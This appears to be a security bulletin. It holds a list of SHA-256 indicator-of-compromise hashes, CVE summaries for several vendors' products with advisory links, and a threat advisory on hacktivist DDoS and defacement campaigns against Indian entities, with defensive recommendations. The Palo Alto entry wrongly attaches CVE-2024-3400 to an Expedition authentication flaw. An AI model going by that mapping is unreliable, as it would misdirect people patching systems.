5aa08e5b7af89ad667f2bfe62757053d87b9ff04c235b6a85be486fb7ac676b8

5ab2a111df5e094b995aa50a4ca5c19b024336d04a86a22d853b9c2477ff1ff3

5b705f5c7b1dd5f9b0ebf4ef7b212f7476d2690125ed924f8f5f43234d4dc5d3

5e5570b1c219eb087ee077403f1c644e9ffea91a2319f2ab3655e4cae6913baf

6285bb955f098d2e4cff8f38ff4b7aaf40b2d6a7c54f11f0d0a84a197f503de8

63f728cac604b934af198eb0b2f9f9faa08f76e6bc23e8c9afdda9cf66a4f71e

6bea5e791ebfd29c4f4bc9a9692eb1e4393841e18c0dda2f7655de2deced6916

6c2a1990f73347c963ea39a4d405138e48904f40b55c83de2f827c164fd3b37d

6e74effde38c89e84cdae6226eaf8c0f0a7ff7cc2f10329f80bc112d30c63dd9

715b97079cec5abe0e67f043359b4997f5e000d20d32be701bfddd78979798e0

74e66cdfbe63164b1f70042917daf52e9fb7e9ccdb0d19505cfb6bcf8f064418

7a8d62c2411a2fd1414eb6964ba68cdd003ba73da8a2586fb7cdf8d71689c39b

806238009256ea5b94c1ece4673d3dc2d55e831e4c282551772fa3d7ac920c33

80d79c06e2a2741bfbd19ade3f73a3a307d8f1dd4d1d92e3695bd0a650de0232

82656e06c57080bd6fc9ee2630d0a209491d67dee88138a09d8e28c18359995b

83b062c8c5e850c7933da1d0ed489f61b4f4ffaf3cdb9eaa0ee32f04a960e8bb

88c9de80dd9adf946d8e63568e542af29e1a167e33e8a53dde430a6aa6892475

896ae5b4439135222b23f57f0145707e6f15a0d0d75af3b184d3cc297795d969

8c1024132cbe82d36d46fef7b88e0b9fe3e946559695878d20784263a3ae65c2

8cea168f1db916109aeaec32a10f142980dcaf93d1eadcdd112d54ce76de715e

8d4c17361d153164b8e3dbb977ae277bd3c066bbc13069b22d7e0737444ba12c

8e8e44cb896368e5c16e4bf352279231c0de90c6d6260b561cf541f1020d282c

9103178535ab9bba1cd6eec434f80c23338f97a2fee9ca04afae5f2e93ed1a6a

934d25cf5478393f9a785d68f3ae8ca997a5f9f548dc52d44efdf82c85964afa

947b562f51eac6cdbe37ad0c11db85d4a5d9583d76c2c16170579dab66ac10eb

9842d922ae71bba6662f817e62f7a935284fa90b8fac1c7615e0302702b4fed5

9e344fe1b227cd3084eb0f0287baa3761aa72f2104266a2ee3c4fac243c089a3

a36c8dd27549e818230a3ca82fdaf58e363977e274ee56ea21ae256f9f8ca4fb

a5cc637ba746e55f892a6076d62e6b678ea83258c24f433b0099b131ef4fdfe7

a6af50240e6bcca120ed0937ebc8b2669a6202a6214263396845efd0988cc39a

a6df4425c69e2187e6a5b6ea16fb23414d0eaa111232439d6d69bf6ddc913f9e

a7799035af69d126c44d546f1f5b2a06668a245f0273f37c1917007207519e66

a7fbc38e9a1db5fe004cefd545fcd13f4548fed67d4e57717b61f442a7a55a16

adbc76eac1227ca8cac2b85f9dc78bb90cee8adbbbfdcb94f0fcdb748573231a

ae15eaa0e58ca4cf438f378fe410dc328c8f6b192acdea75d30f3ef9f1235da7

b069ab94011b9aa4d625476ae5b1bbf631612074b9c2dd8c948d2b83ff5b95cb

b844368dec89e045eacf8e6b6f388826db1e702de11b47a26c5ebe2afcda4354

b88f1d2a07330a3a4e7ff766f0ccf26a4748a403b37361907fce4d352ceb80ba

baabd89a64fb44fa1e80db0bc6bdb2af4aa6218a3f5be8b6ca13ebf4541acb12

bc4f7511f25dbe3aa6c36cb2ea7e1b3398b0b9c32e38aa527d045ebe3fc5558c

bd33bb83dccde37e7ce2e39c55019a74c17ac1479eb7124c15f50a1757b9b143

bd5f868bdee392685756c17b4fc78912cbc3f694b1d447888fda3353c9bbb147

be0989ca76e1a3ab309440c60a8a89ac86b4bd25a46d412ed450999b8a549797

beb6a0f1f1a8b0e01d88ec87598408b9b74f1ca3cf9f83720a3e6e7474c5101d

bf2acf8b562a2023badc5859fcd6f12f3389c7c54d9d624b8cc243b3d1fd214d

c051faaa5c3301a28d4188d004d400c7f18d8ff2b5c3fa93293b1c825c3a9c85

c085a024154506117d426eeb72b8b96e4b07b3495539d780a909037542bc9a63

c10315513670e22ae3cd1f953e89be5a09cf49d6369bd3aef4e7f0ac2772f736

c360e4c569d0d7bb970cf0b80df103b8a7bcb71f219f6f4a50931c8ab52a4499

ca90a2de5fceeb4b82ea58a31326dce65a9efdea1279fb7df1ae1965f12aad36

cbdc1abf3d12230257d4b1f4fc724ff62ad07b2b89e9a74382fac1702e1edf91

ccf2939e2f1768fb333fcf5e7bd474909f2cbc1a9eb29beb7f561f789a810fd5

ce8cc5ca810bfd962a7d05ac5f8efa4868d2c643caa277cc33488c1be42a5644

cef277b3a6f1582b89d9004bb2c7c5c1c69c7e1086f3b4ba26269fb5ececb517

d25db87cb17a4c634680983d95c71825599c1bae8e51846c4974bd47d95854da

d27584b0dc090d117afef62f4b1058b3c133907269c1e4153781c2e01cb4bd6e

d3fa426c411516a3c0835b6715af9266339ae21b33b626007527fce029307734

d4ccc76da040f1b325745709ac15f392bea65124c78e426c7274fd779e8f8ac8

d7ab53360a64869e17a50c08719ac93c37703a53ceec5bb13784a27f32beed25

df229505a86e32331563a71a4dd610279ad6470a52ca363bb7e84e9b727b5b7e

df28cb01a7e8023469d171dd87da01ab1d5df18500dff27648889bcad459ccd7

df45edd08a816b3005bc974358426ab1fb1ffbf0d6210850951fd24dc3574122

e1047107f5c30a55dd4f296cd00580178bcd2e29dea4c0ba8daeee90e60cf01d

e20d57753c21963bc8dbe366b9089cbf17f34723f1f05367325d2593ab09ff17

e634ea38f9b422be095faebcde46a90181b34f0a1323d64e37ed4a6b1ce25d3f

e8196c31cdacc7875924b52e83fc841b1fba1ed2a0c200fba419e9fbc6dd71c9

e8cb0039d03bf15da57aa157b2808372e114b79a4f7d5395c8c3debada727b53

e8f8d43e69b4c65c52dc4ae8cd8a01e5b7d16af54eca3f40ff2bfad49aed63e3

ea4fa772f432d82af6e7a06e446ed03a157d339eead4516e66f59b6435e49134

ec33be14c56d2d854032bc65eba841e5c3be1fd5abb93b5363b4a5a93c085228

ed7c1f0faac31df04f8c49ebbb3adadcd5fd001c9607e63ff276ed7d90bc9d20

ed9dc12ca7daa056f99ee630d112646bf4e4888c65885fe1da7a4c342f7b5595

ef83899729ddfb3bb31facbd22ea3bfe42de06c40ac78e41b7e87a2de1b0313c

f55f1fb85d257ba9398ae855e88bca79e2a65f29c6c578e139a172f3b6df6925

f8197a7705a665bc1eab2d8cb11aec96f036b55992ec0c6d7eff60d152074e99

f9aadde7f2a4d66b935fdc1614648ca2dc192639dcbc016991fcd6d935e69f9c

fb65b0fb63ceba8182a7875342bfe2572983879e9c88328de2eb61b78505dab5

fdcd89b10b149d637dd79d2420c214a929c85a7793b00589e503f2fed7692af1

fe059b759c182504c81d8d8df9485d1891387a14899cf9a352c34da94685ae7c

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

1. **VA-2024-08-14-003**

**Vulnerability in WooCommerce - Social Login plugin for WordPress**

An authentication bypass vulnerability has been discovered in WooCommerce - Social Login plugin for WordPress. The affected versions are WooCommerce - Social Login plugin for WordPress versions up to, and including, 2.7.5.

CVE ID: CVE-2024-7503 (Critical)

Link: https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/woo-social-login/woocommerce-social-login-275-authentication-bypass-to-account-takeover

**Vulnerability in Shopware**

A SQL injection vulnerability has been discovered in Shopware. The affected versions are Shopware prior to versions 6.6.5.1 and 6.5.8.13.

CVE ID: CVE-2024-42357(Critical)

Link: https://github.com/shopware/shopware/security/advisories/GHSA-p6w9-r443-r752

**Vulnerability in Koha ILS**

A Cross Site Scripting (XSS) vulnerability has been discovered in Koha ILS. The affected versions are

Koha ILS 23.05 and before.

CVE ID: CVE-2024-28740 (Critical)

**Palo Alto Networks Released Security Updates**

Palo Alto Networks has released security updates to resolve a missing authentication vulnerability in the Palo Alto Networks Expedition that could lead to an Expedition admin account takeover for attackers with network access to the Expedition. The affected versions are Palo Alto Networks Expedition below 1.2.92.

CVE ID: CVE-2024-3400 (Critical)

Link : https://security.paloaltonetworks.com/CVE-2024-3400

**Vulnerability in TOTOLINK**

A hard-coded password vulnerability has been discovered in TOTOLINK. The affected version is TOTOLINK CP450 4.1.0cu.747\_B20191224.

CVE ID: CVE-2024-7332 (Critical)

**Multiple Vulnerabilities in Cisco Products**

Multiple vulnerabilities have been discovered in Cisco Smart Software Manager On-Prem, and Cisco Small Business SPA300 Series and SPA500 Series IP Phones. A security update is available for Cisco Smart Software Manager On-Prem.

CVE ID: CVE-2024-20450 (Critical), CVE-2024-20451 (High), CVE-2024-20452 (Critical), CVE-2024-20453 (High), CVE-2024-20454 (Critical), CVE-2024-20419 (Critical)

Link: https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-spa-http-vulns-RJZmX2Xz

**Multiple Vulnerabilities in Jenkins**

Multiple vulnerabilities have been discovered in several Jenkins Plugins. An attacker can exploit these vulnerabilities to take control of an affected system. The updates are available.

CVE ID: CVE-2024-43044 (Critical), CVE-2024-43045 (Medium)

Link : https://www.jenkins.io/security/advisory/2024-08-07/

**Vulnerability in SolarWinds**

A Java deserialization Remote Code Execution (RCE) vulnerability has been discovered in SolarWinds Web Help Desk.

CVE ID: CVE-2024-28986 (Critical)

Link : https://www.solarwinds.com/trust-center/security-advisories/cve-2024-28986

**Vulnerability in TOTOLINK**

A buffer overflow vulnerability has been discovered in TOTOLINK. The affected versions are TOTOLINK A3100R V4.1.2cu.5050\_B20200504.

CVE ID: CVE-2024-42547 (Critical)

**Vulnerability in Edimax**

Command injection vulnerability has been discovered in Edimax. The affected versions are Edimax IC-6220DC and IC-5150W up to 3.06.

CVE ID: CVE-2024-7616 (Critical)

**Microsoft Released August 2024 Security Updates**

Microsoft has released security updates to address critical, high, and medium vulnerabilities in its products. An attacker can exploit some of these vulnerabilities to take control of an affected system.

CVE ID: CVE-2024-38063 (Critical), CVE-2024-38108 (Critical), CVE-2024-38109 (Critical), CVE-2024-38140 (Critical), CVE-2024-38159 (Critical), CVE-2024-38160 (Critical), CVE-2024-38199 (Critical)

Link : https://msrc.microsoft.com/update-guide/releaseNote/2024-Aug

**Multiple Vulnerabilities in Ivanti Products**

Multiple vulnerabilities have been discovered in Ivanti Avalanche, Ivanti Neurons for ITSM, and Ivanti Virtual Traffic Manager. The mitigations are available.

CVE ID: CVE-2024-7593 (Critical), CVE-2024-7569 (Critical), CVE-2024-7570 (High), CVE-2024-38652  (High), CVE-2024-38653 (High), CVE-2024-36136 (High), CVE-2024-37399 (High), CVE-2024-37373 (High)

Link: https://www.ivanti.com/blog/august-security-update

**Multiple Vulnerabilities in Siemens Products**

Multiple vulnerabilities have been discovered in several Siemens products. Siemens has released security updates, workarounds and mitigations to resolve these vulnerabilities.

CVE ID: CVE-2024-41940 (Critical), CVE-2021-20093 (Critical), CVE-2023-3935 (Critical), CVE-2024-3596 (Critical)

Link:   https://www.siemens.com/global/en/products/services/cert.html

**Adobe Security Updates**

Adobe has released security updates to address multiple vulnerabilities in Adobe software products. An attacker can exploit these vulnerabilities to take control of an affected system.

CVE ID: CVE-2024-39397 (Critical)

Link:   https://helpx.adobe.com/security.html

1. **TA-TAG-2024-08-14-001**

It has been observed that there is an increase in hacktivist campaigns targeting Indian entities. These groups have been found active during national festivals and have carried out three primary types of attacks: DDoS, data leaks, and defacements. Adversaries use a variety of open-source, widely available tools to conduct DDoS attacks at different network layers, including Layer 3, Layer 4, and Layer 7. These attacks include DDoS assaults on individual servers as well as DNS amplification attacks that inundate the victim's network with high volumes of traffic.

**Prominent Hacktivist Groups:**

Mysterious Team Bangladesh

SynixCyberCrimeMY

Black Pirates

Vietnam Cyber Army

Jambi Cyber Team

Muslim Cyber Army

Maximus

GHOST PRINCESS OF PALESTINE

177 Members Team

Anonymous Sudan

Fours Death Team

Ganosec Team (Garuda Anon Security)

Hactivist Indonesia

Team HeroX

Team\_Insane\_Pk

Alixsec

Ghost Clan Malaysia

RADNET64

Sylhet Gang

R00TK1T ISC CYBER TEAM

AnonCollective

Impacts:

Website Defacement

DDOS Attack- Service Unavailability

Exfiltration of sensitive data

**Affected Systems/Assets:** Public Facing Applications and Web Servers

**Mitigation and Recommendations**

**Preventive Measures:**

**Measures for prevention of Web intrusion attacks/Web Defacement:**

* Use the latest version of a Web server, Database Server, Hypertext Processor (PHP). Apply appropriate updates/patches to the OS and Application software.
* Enable and maintain logs of different devices and servers and maintain the same for all levels. Periodically check the web server directories for any malicious/unknown web shell files and remove them as and when noticed.

**Measures for prevention of Denial of Service (DoS/DDoS) attacks:**

* Enable adequate logging mechanisms at perimeter level, server and system level and review the logs at frequent intervals. Deploy an appropriate Intrusion/DDoS Prevention System capable of detecting and mitigating DDoS attacks.
* Continuously monitor the network activities; server logs to detect and mitigate suspicious and malicious activities in your network. Review the traffic patterns and logs of perimeter devices to detect anomalies in traffic, network level floods (TCP, UDP, SYN, etc.) and application floods (HTTP GET) etc.

**Detection Techniques:**

* Use monitoring tools to detect unusual traffic patterns or spikes that might indicate a DDoS attack. Verify if the detected anomaly is a DDoS attack by checking for consistent patterns of excessive requests targeting specific services or resources. Open-source signature-based tools like Snort and Suricata can be employed for this purpose.
* Since website defacement is a primary attack vector for hacktivist groups, it is recommended to use tools and services that regularly monitor websites for unauthorized changes or defacements. Available open-source solutions for File Integrity Monitoring (FIM) and content monitoring include Tripwire, OSSEC, ChangeTower, and Visualping.

**Response Actions:**

* Identify the Source: Determine the origin of the attack and the methods used, such as Layer 3 (Typically involving large volumes of IP packets, such as ICMP floods (ping floods) or IP fragmentation attacks.), Layer 4 (high rates of connection requests, uncompleted TCP handshake attempts (SYN packets), or unusually high numbers of UDP packets in network logs), or Layer 7 attacks (excessive HTTP requests, slow queries, or repeated requests to specific URLs or web services). Based upon the Implementation Rate Limiting and modifying Firewall Rules to block or filter traffic from suspicious IP addresses or sources.
* Remove Malicious Files/script injected by an attacker: Use an antivirus or anti-malware tool to scan and remove malicious files. Most security software will allow you to perform a full system scan, identifying and quarantining or deleting threats.